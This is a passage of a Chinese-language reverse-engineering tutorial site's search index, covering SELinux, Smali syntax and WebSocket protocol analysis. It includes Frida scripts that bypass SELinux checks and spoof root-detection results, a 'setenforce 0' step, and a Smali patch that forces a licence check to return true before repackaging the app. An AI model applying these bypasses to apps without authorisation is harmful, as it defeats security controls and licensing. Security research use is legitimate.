Module.findExportByName(\"libselinux.so\", \"selinux_check_access\"); if (selinux_check_access) { Interceptor.replace(selinux_check_access, new NativeCallback(function( scon, tcon, tclass, perm, auditdata) { return 0; // 返回允许访问 }, 'int', ['pointer', 'pointer', 'pointer', 'pointer', 'pointer'])); console.log(\"[*] Hooked selinux_check_access -\u003e always return 0\"); } } // 修改进程上下文检测结果 function spoofContext() { var getcon = Module.findExportByName(\"libselinux.so\", \"getcon\"); if (getcon) { Interceptor.attach(getcon, { onLeave: function(retval) { if (retval.toInt32() === 0) { // 可以修改返回的上下文 // 注意: 这只影响检测，不影响实际权限 } } }); } } ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:7:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#73-frida-selinux-绕过"},{"categories":null,"collections":null,"content":"7.4 内核级绕过 // 内核模块方式（需要内核源码编译） // 修改 security/selinux/hooks.c 中的 selinux_enforcing 变量 // 或通过 /dev/kmem 直接修改内核内存（需要特殊权限） // 这种方式在现代 Android 上通常不可行 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:7:4","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#74-内核级绕过"},{"categories":null,"collections":null,"content":"8. 实战案例 💡 思路一句话: SELinux 是 Android 安全的基石 — 逆向分析中遇到的权限拒绝、文件访问失败、调试受限，很多都与 SELinux 策略相关，学会读 audit 日志是排查问题的关键。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:8:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#8-实战案例"},{"categories":null,"collections":null,"content":"8.1 案例: 分析应用的 SELinux 权限 💡 思路一句话: 用 adb shell ps -eZ 查看进程的安全上下文 → 用 sesearch 查询该上下文允许的操作 → 理解应用能访问哪些资源、不能访问哪些资源。 # 1. 获取目标应用的进程 ID adb shell pidof com.example.app # 输出: 12345 # 2. 查看进程上下文 adb shell cat /proc/12345/attr/current # 输出: u:r:untrusted_app:s0:c512,c768 # 3. 查看应用数据目录上下文 adb shell ls -Z /data/data/com.example.app/ # 输出: u:object_r:app_data_file:s0:c512,c768 files # 4. 分析该域的权限 sesearch -A -s untrusted_app -t app_data_file policy.bin # 输出: allow untrusted_app app_data_file:file { read write ... }; # 5. 检查是否有敏感权限 sesearch -A -s untrusted_app -t system_file policy.bin # 输出: (通常为空或受限) ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:8:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#81-案例-分析应用的-selinux-权限"},{"categories":null,"collections":null,"content":"8.2 案例: Root 检测中的 SELinux 检查 💡 思路一句话: 很多 App 通过读取 SELinux 状态（getenforce）或检查安全上下文来判断是否 root — 绕过方法是 hook getenforce 返回 “Enforcing” 或修改 /sys/fs/selinux/enforce。 // 常见的 SELinux Root 检测 public class RootDetector { public boolean detectByContext() { try { // 检查是否存在 su 或 magisk 上下文 Process process = Runtime.getRuntime().exec(\"cat /proc/self/attr/current\"); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); String context = reader.readLine(); // 正常应用: u:r:untrusted_app:s0 // Root 后可能: u:r:su:s0 或 u:r:magisk:s0 if (context.contains(\":su:\") || context.contains(\":magisk:\")) { return true; // 检测到 Root } } catch (Exception e) {} return false; } public boolean detectByEnforcing() { try { // 检查 SELinux 是否被禁用 Process process = Runtime.getRuntime().exec(\"getenforce\"); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); String status = reader.readLine(); // Permissive 或 Disabled 通常意味着被修改 if (!\"Enforcing\".equals(status)) { return true; } } catch (Exception e) {} return false; } } 绕过脚本： // Frida 绕过 SELinux Root 检测 Java.perform(function() { // Hook Runtime.exec var Runtime = Java.use(\"java.lang.Runtime\"); Runtime.exec.overload('java.lang.String').implementation = function(cmd) { if (cmd.indexOf(\"getenforce\") !== -1) { console.log(\"[*] Intercepted getenforce command\"); // 返回假的 Enforcing 结果 return this.exec(\"echo Enforcing\"); } if (cmd.indexOf(\"/proc/self/attr/current\") !== -1) { console.log(\"[*] Intercepted context read\"); // 返回正常应用上下文 return this.exec(\"echo u:r:untrusted_app:s0\"); } return this.exec(cmd); }; }); ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:8:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#82-案例-root-检测中的-selinux-检查"},{"categories":null,"collections":null,"content":"8.3 案例: 调试 SELinux 拒绝问题 💡 思路一句话: adb logcat | grep avc 过滤 SELinux 拒绝日志 → 用 audit2allow 生成允许规则 → 通过 Magisk 模块注入策略 → 验证问题解决。 # 场景: Frida 注入失败，查看是否被 SELinux 阻止 # 1. 实时监控 AVC 拒绝日志 adb shell \"dmesg -w | grep avc\" # 2. 尝试注入操作 frida -U com.example.app # 3. 观察日志输出 # avc: denied { ptrace } for pid=1234 comm=\"frida-server\" ... # 4. 分析拒绝原因 # scontext=u:r:shell:s0 (Frida Server 运行在 shell 域) # tcontext=u:r:untrusted_app:s0 (目标应用) # tclass=process perm=ptrace # 5. 解决方案 # 方案 A: 使用 Magisk 修改策略 magiskpolicy --live \"allow shell untrusted_app process ptrace\" # 方案 B: 临时切换到 Permissive 模式 adb shell setenforce 0 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:8:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#83-案例-调试-selinux-拒绝问题"},{"categories":null,"collections":null,"content":"总结 要点 说明 核心概念 SELinux 是强制访问控制，即使 Root 也受策略限制 上下文格式 user:role:type:sensitivity 策略位置 /system/etc/selinux/, /vendor/etc/selinux/ 分析工具 seinfo, sesearch, audit2allow 逆向影响 限制 ptrace、进程注入、文件访问等操作 绕过方式 Magisk 策略注入、Hook SELinux API、切换 Permissive ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:9:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#总结"},{"categories":null,"collections":null,"content":"相关章节 F02: Android 四大组件 A01: Android 沙箱实现 A07: Magisk 与 LSPosed 原理 R15: Frida 反调试绕过 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:10:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#相关章节"},{"categories":null,"collections":null,"content":"Smali 语法入门 Smali/Baksmali 是 Dalvik 虚拟机字节码的汇编器/反汇编器。Smali 是对 DEX 格式的一种人类可读的表示，允许我们精确地查看和修改应用的行为。理解 Smali 是进行 Android 应用静态 patching（修改后重打包）的关键。 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:0:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#smali-语法入门"},{"categories":null,"collections":null,"content":"基本概念 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:1:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#基本概念"},{"categories":null,"collections":null,"content":"寄存器 (Registers) Dalvik VM 是基于寄存器的。方法内的局部变量存储在寄存器中。 寄存器类型 说明 v0, v1, v2… 本地变量寄存器 p0, p1, p2… 方法参数寄存器 关于 p0 的特殊说明： 对于非静态方法，p0 总是指向 this（当前对象实例），参数从 p1 开始 对于静态方法，参数从 p0 开始 示例：一个有两个参数的非静态方法： p0 = this p1 = 第一个参数 p2 = 第二个参数 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:1:1","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#寄存器-registers"},{"categories":null,"collections":null,"content":"常用声明 声明 说明 .locals 声明方法使用的本地变量寄存器数量 .prologue 方法体的序言部分 .line 对应原始 Java 代码的行号，用于调试 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:1:2","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#常用声明"},{"categories":null,"collections":null,"content":"数据类型与表示 Smali 使用特定的描述符来表示 Java 中的数据类型。 Smali 类型 Java 类型 描述 V void 空返回类型 Z boolean 布尔值 B byte 字节 S short 短整型 C char 字符 I int 整型 J long 长整型（占用两个寄存器） F float 浮点型 D double 双精度浮点型（占用两个寄存器） L\u003c包名\u003e/\u003c类名\u003e; package.ClassName 对象类型，以 L 开头，; 结尾 [\u003c类型\u003e type[] 数组类型 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:2:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#数据类型与表示"},{"categories":null,"collections":null,"content":"类型表示示例 Smali Java Ljava/lang/String; java.lang.String [I int[] [[Ljava/lang/Object; java.lang.Object[][] [Ljava/lang/String; String[] ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:2:1","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#类型表示示例"},{"categories":null,"collections":null,"content":"文件与类结构 每个 .smali 文件对应一个 Java 类。 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:3:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#文件与类结构"},{"categories":null,"collections":null,"content":"类定义 # 定义类、访问修饰符和完整类路径 .class public Lcom/example/app/MainActivity; # 定义父类 .super Landroid/app/Activity; # 定义源文件名（可选） .source \"MainActivity.java\" ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:3:1","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#类定义"},{"categories":null,"collections":null,"content":"字段定义 # 格式: .field \u003c访问修饰符\u003e [static] [final] \u003c字段名\u003e:\u003c字段类型\u003e # 实例字段 .field private TAG:Ljava/lang/String; # 静态常量字段 .field public static final MY_CONSTANT:I = 0x1 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:3:2","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#字段定义"},{"categories":null,"collections":null,"content":"方法定义 # 格式: .method \u003c访问修饰符\u003e [static] [final] \u003c方法名\u003e(\u003c参数类型\u003e)\u003c返回类型\u003e .method public onCreate(Landroid/os/Bundle;)V # 声明本地变量寄存器数量 .locals 3 # 声明参数寄存器 .param p1, \"savedInstanceState\" # p1 是 savedInstanceState # 方法体开始 .prologue .line 15 # ... Smali 指令 ... # 方法返回 return-void .end method ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:3:3","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#方法定义"},{"categories":null,"collections":null,"content":"常用指令 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:4:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#常用指令"},{"categories":null,"collections":null,"content":"赋值与移动指令 指令 说明 const-string v1, \"Hello\" 将字符串 “Hello” 赋值给 v1 const/4 v0, 0x1 将 4 位常量 1 赋值给 v0 const/16 v0, 0x100 将 16 位常量赋值给 v0 move-result-object v0 将上一个 invoke 返回的对象结果移动到 v0 move-result v0 将上一个 invoke 返回的非对象结果移动到 v0 move-exception v0 在 catch 块中，将捕获的异常对象移动到 v0 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:4:1","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#赋值与移动指令"},{"categories":null,"collections":null,"content":"对象操作指令 指令 说明 new-instance v0, Ljava/lang/StringBuilder; 创建新实例 iget-object v0, p0, Lcom/example/MyClass;-\u003emyField:Ljava/lang/String; 获取实例字段 iput-object v1, p0, Lcom/example/MyClass;-\u003emyField:Ljava/lang/String; 设置实例字段 sget-object v0, Lcom/example/Constants;-\u003eSOME_STRING:Ljava/lang/String; 获取静态字段 sput-object v0, Lcom/example/Constants;-\u003eSOME_STRING:Ljava/lang/String; 设置静态字段 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:4:2","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#对象操作指令"},{"categories":null,"collections":null,"content":"方法调用指令 指令 说明 invoke-virtual {p0, p1}, Lcom/example/MyClass;-\u003emyMethod(I)V 调用虚方法（公有/保护方法） invoke-direct {p0}, Ljava/lang/Object;-\u003e\u003cinit\u003e()V 调用直接方法（私有方法或构造函数） invoke-static {v0}, Landroid/util/Log;-\u003ed(Ljava/lang/String;Ljava/lang/String;)I 调用静态方法 invoke-super {p0, p1}, Landroid/app/Activity;-\u003eonCreate(Landroid/os/Bundle;)V 调用父类方法 invoke-interface {p0, v0}, Ljava/util/List;-\u003eadd(Ljava/lang/Object;)Z 调用接口方法 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:4:3","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#方法调用指令"},{"categories":null,"collections":null,"content":"跳转/条件指令 指令 说明 goto :label_10 无条件跳转到 :label_10 if-eqz v0, :label_10 如果 v0 == 0（或 false/null），则跳转 if-nez v0, :label_10 如果 v0 != 0（或 true/not null），则跳转 if-eq v0, v1, :label_10 如果 v0 == v1，则跳转 if-ne v0, v1, :label_10 如果 v0 != v1，则跳转 if-lt v0, v1, :label_10 如果 v0 \u003c v1，则跳转 if-ge v0, v1, :label_10 如果 v0 \u003e= v1，则跳转 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:4:4","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#跳转条件指令"},{"categories":null,"collections":null,"content":"运算指令 指令 说明 add-int v0, v1, v2 v0 = v1 + v2（整型加法） sub-int v0, v1, v2 v0 = v1 - v2（整型减法） mul-int v0, v1, v2 v0 = v1 * v2（整型乘法） div-int v0, v1, v2 v0 = v1 / v2（整型除法） mul-int/2addr v0, v1 v0 = v0 * v1（结果存回第一个寄存器） ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:4:5","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#运算指令"},{"categories":null,"collections":null,"content":"Smali 实战：修改方法 💡 思路一句话: Smali 修改的经典套路 — apktool 反编译 → 在 smali 代码中找到目标方法 → 修改指令（如将 return v0 改为 const v0, 0x1 绕过检测）→ apktool 重打包 → 重新签名安装。 假设我们要修改一个方法，让它总是返回 true。 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:5:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#smali-实战修改方法"},{"categories":null,"collections":null,"content":"原始 Java 代码 public class LicenseCheck { public boolean isLicensed() { // ... 复杂的检查逻辑 ... return false; } } ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:5:1","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#原始-java-代码"},{"categories":null,"collections":null,"content":"原始 Smali 代码 .method public isLicensed()Z .locals 1 # ... 复杂检查逻辑对应的 smali 指令 ... const/4 v0, 0x0 # v0 = 0 (false) return v0 .end method ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:5:2","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#原始-smali-代码"},{"categories":null,"collections":null,"content":"修改后的 Smali 代码 .method public isLicensed()Z .locals 1 # 删除所有复杂检查逻辑，直接返回 true const/4 v0, 0x1 # v0 = 1 (true) return v0 .end method ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:5:3","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#修改后的-smali-代码"},{"categories":null,"collections":null,"content":"修改步骤 使用 apktool d app.apk -o app_decoded/ 解包 APK 找到并修改目标 .smali 文件 使用 apktool b app_decoded/ -o new_app.apk 重新打包 用 jarsigner 或 apksigner 对 new_app.apk 进行签名 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:5:4","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#修改步骤"},{"categories":null,"collections":null,"content":"常见修改技巧 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:6:0","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#常见修改技巧"},{"categories":null,"collections":null,"content":"1. 让方法返回固定值 # 返回 true const/4 v0, 0x1 return v0 # 返回 false const/4 v0, 0x0 return v0 # 返回 null const/4 v0, 0x0 return-object v0 ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:6:1","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#1-让方法返回固定值"},{"categories":null,"collections":null,"content":"2. 跳过方法体直接返回 .method public checkSomething()V .locals 0 # 直接返回，跳过所有检查 return-void .end method ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:6:2","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#2-跳过方法体直接返回"},{"categories":null,"collections":null,"content":"3. 修改条件判断 # 原始：if-eqz v0, :skip (如果 v0 == 0 则跳过) # 修改：if-nez v0, :skip (如果 v0 != 0 则跳过) # 或者直接：goto :skip (无条件跳过) ","date":"2024-07-12","objectID":"/reverse_engineering/android/04-reference/foundations/smali_syntax/:6:3","tags":["签名验证","基础知识","Smali","Android","DEX"],"title":"Smali 语法入门","uri":"/reverse_engineering/android/04-reference/foundations/smali_syntax/#3-修改条件判断"},{"categories":null,"collections":null,"content":"WebSocket 逆向分析 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:0:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#websocket-逆向分析"},{"categories":null,"collections":null,"content":"概述 WebSocket (WS) 是一种全双工协议，常用于即时通讯、股票行情、在线游戏、实时推送等场景。与 HTTP 不同，WS 是一次握手后建立长连接，后续数据都是帧 (Frame) 的形式双向传输。 WebSocket 逆向的本质是协议逆向 —— 搞清楚它\"说什么话\"（Payload 格式）以及\"怎么说话\"（状态机、心跳、认证）。 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:1:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 Web API 与 Ajax 必需 Web API 与 Ajax HTTP 协议 必需 HTTP/HTTPS 协议 Chrome DevTools 必需 浏览器开发者工具 Hook 技术 推荐 Hook 技术 💡 提示: WebSocket 常用于实时性要求高的场景。与 HTTP API 不同，WebSocket 逆向需要关注连接状态、心跳机制和消息协议格式。 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:2:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#-前置知识"},{"categories":null,"collections":null,"content":"1. WebSocket 协议基础 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:3:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#1-websocket-协议基础"},{"categories":null,"collections":null,"content":"1.1 连接建立（Upgrade Handshake） WebSocket 连接由 HTTP 请求升级而来： 客户端发起升级请求: GET /chat HTTP/1.1 Host: example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 服务端响应: HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= 重点参数: Sec-WebSocket-Key: 客户端随机生成的 Base64 编码 Sec-WebSocket-Accept: 服务端根据 Key 计算的哈希值 Sec-WebSocket-Protocol: 子协议（如 chat, mqtt） ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:3:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#11-连接建立upgrade-handshake"},{"categories":null,"collections":null,"content":"1.2 帧结构 (Frame Structure) WebSocket 数据以帧的形式传输： 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-------+-+-------------+-------------------------------+ |F|R|R|R| opcode|M| Payload len | Extended payload length | |I|S|S|S| (4) |A| (7) | (16/64) | |N|V|V|V| |S| | (if payload len==126/127) | | |1|2|3| |K| | | +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - + | Extended payload length continued, if payload len == 127 | + - - - - - - - - - - - - - - - +-------------------------------+ | |Masking-key, if MASK set to 1 | +-------------------------------+-------------------------------+ | Masking-key (continued) | Payload Data | +-------------------------------- - - - - - - - - - - - - - - - + : Payload Data continued ... : + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Payload Data continued ... | +---------------------------------------------------------------+ Opcode (操作码): Opcode 类型 说明 0x0 Continuation 分片消息的后续帧 0x1 Text 文本消息（UTF-8） 0x2 Binary 二进制消息 0x8 Close 关闭连接 0x9 Ping 心跳请求 0xA Pong 心跳响应 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:3:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#12-帧结构-frame-structure"},{"categories":null,"collections":null,"content":"2. 抓包与分析 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:4:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#2-抓包与分析"},{"categories":null,"collections":null,"content":"2.1 Chrome DevTools 步骤: 打开 Network 面板 点击 “WS” 过滤器 → 只显示 WebSocket 连接 点击连接名称 → 查看详细信息 Messages 标签页: 绿色箭头 = 客户端发送 (Send) 红色箭头 = 服务端接收 (Receive) 时间戳、大小、Opcode Frame 分析: Text Frame: 直接显示 UTF-8 文本（通常是 JSON） Binary Frame: 显示为十六进制或 Base64 可能是 Protobuf、MsgPack、自定义格式 技巧: 保存消息到文件 // 在 Console 中执行 const messages = [...document.querySelectorAll(\".message-list-item\")]; const data = messages.map((m) =\u003e m.textContent); copy(JSON.stringify(data, null, 2)); // 复制到剪贴板 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:4:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#21-chrome-devtools"},{"categories":null,"collections":null,"content":"2.2 Wireshark 抓包 优势: 适用于非浏览器应用（桌面客户端、移动 App） 过滤器: websocket websocket.opcode == 1 // 只显示文本帧 websocket.opcode == 2 // 只显示二进制帧 SSL/TLS 解密 (对于 wss://): 设置环境变量: export SSLKEYLOGFILE=~/sslkeys.log 启动应用（浏览器或客户端） Wireshark 配置: Edit → Preferences → Protocols → TLS (Pre)-Master-Secret log filename: ~/sslkeys.log 查看 Payload: 右键帧 → Follow → WebSocket Stream 自动解密 Masking Key ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:4:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#22-wireshark-抓包"},{"categories":null,"collections":null,"content":"2.3 mitmproxy 优势: 可编程拦截和修改 WebSocket 消息 启动: mitmweb --mode upstream:https://api.example.com --listen-port 8080 Python 脚本拦截: # ws_intercept.py from mitmproxy import ctx def websocket_message(flow): # 拦截 WebSocket 消息 message = flow.messages[-1] if message.from_client: ctx.log.info(f\"[Client → Server] {message.content}\") # 修改消息 if b'\"type\":\"ping\"' in message.content: message.content = b'{\"type\":\"pong\"}' else: ctx.log.info(f\"[Server → Client] {message.content}\") 运行: mitmproxy -s ws_intercept.py ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:4:3","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#23-mitmproxy"},{"categories":null,"collections":null,"content":"3. 协议还原 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#3-协议还原"},{"categories":null,"collections":null,"content":"3.1 文本协议 (Text Frame) JSON 格式 最常见的 WebSocket Payload 格式： 示例: 逆向步骤: 观察多个消息，提取字段规律 总结消息类型（type 字段） 编写 Python 客户端时直接 json.loads() 和 json.dumps() 自定义分隔符 示例: 使用 | 分隔 type|chat|user_id|123|message|Hello World 解析方法: def parse_message(data): parts = data.split('|') return { parts[i]: parts[i+1] for i in range(0, len(parts), 2) } # 测试 msg = \"type|chat|user_id|123\" print(parse_message(msg)) # {'type': 'chat', 'user_id': '123'} ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#31-文本协议-text-frame"},{"categories":null,"collections":null,"content":"3.1 文本协议 (Text Frame) JSON 格式 最常见的 WebSocket Payload 格式： 示例: 逆向步骤: 观察多个消息，提取字段规律 总结消息类型（type 字段） 编写 Python 客户端时直接 json.loads() 和 json.dumps() 自定义分隔符 示例: 使用 | 分隔 type|chat|user_id|123|message|Hello World 解析方法: def parse_message(data): parts = data.split('|') return { parts[i]: parts[i+1] for i in range(0, len(parts), 2) } # 测试 msg = \"type|chat|user_id|123\" print(parse_message(msg)) # {'type': 'chat', 'user_id': '123'} ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#json-格式"},{"categories":null,"collections":null,"content":"3.1 文本协议 (Text Frame) JSON 格式 最常见的 WebSocket Payload 格式： 示例: 逆向步骤: 观察多个消息，提取字段规律 总结消息类型（type 字段） 编写 Python 客户端时直接 json.loads() 和 json.dumps() 自定义分隔符 示例: 使用 | 分隔 type|chat|user_id|123|message|Hello World 解析方法: def parse_message(data): parts = data.split('|') return { parts[i]: parts[i+1] for i in range(0, len(parts), 2) } # 测试 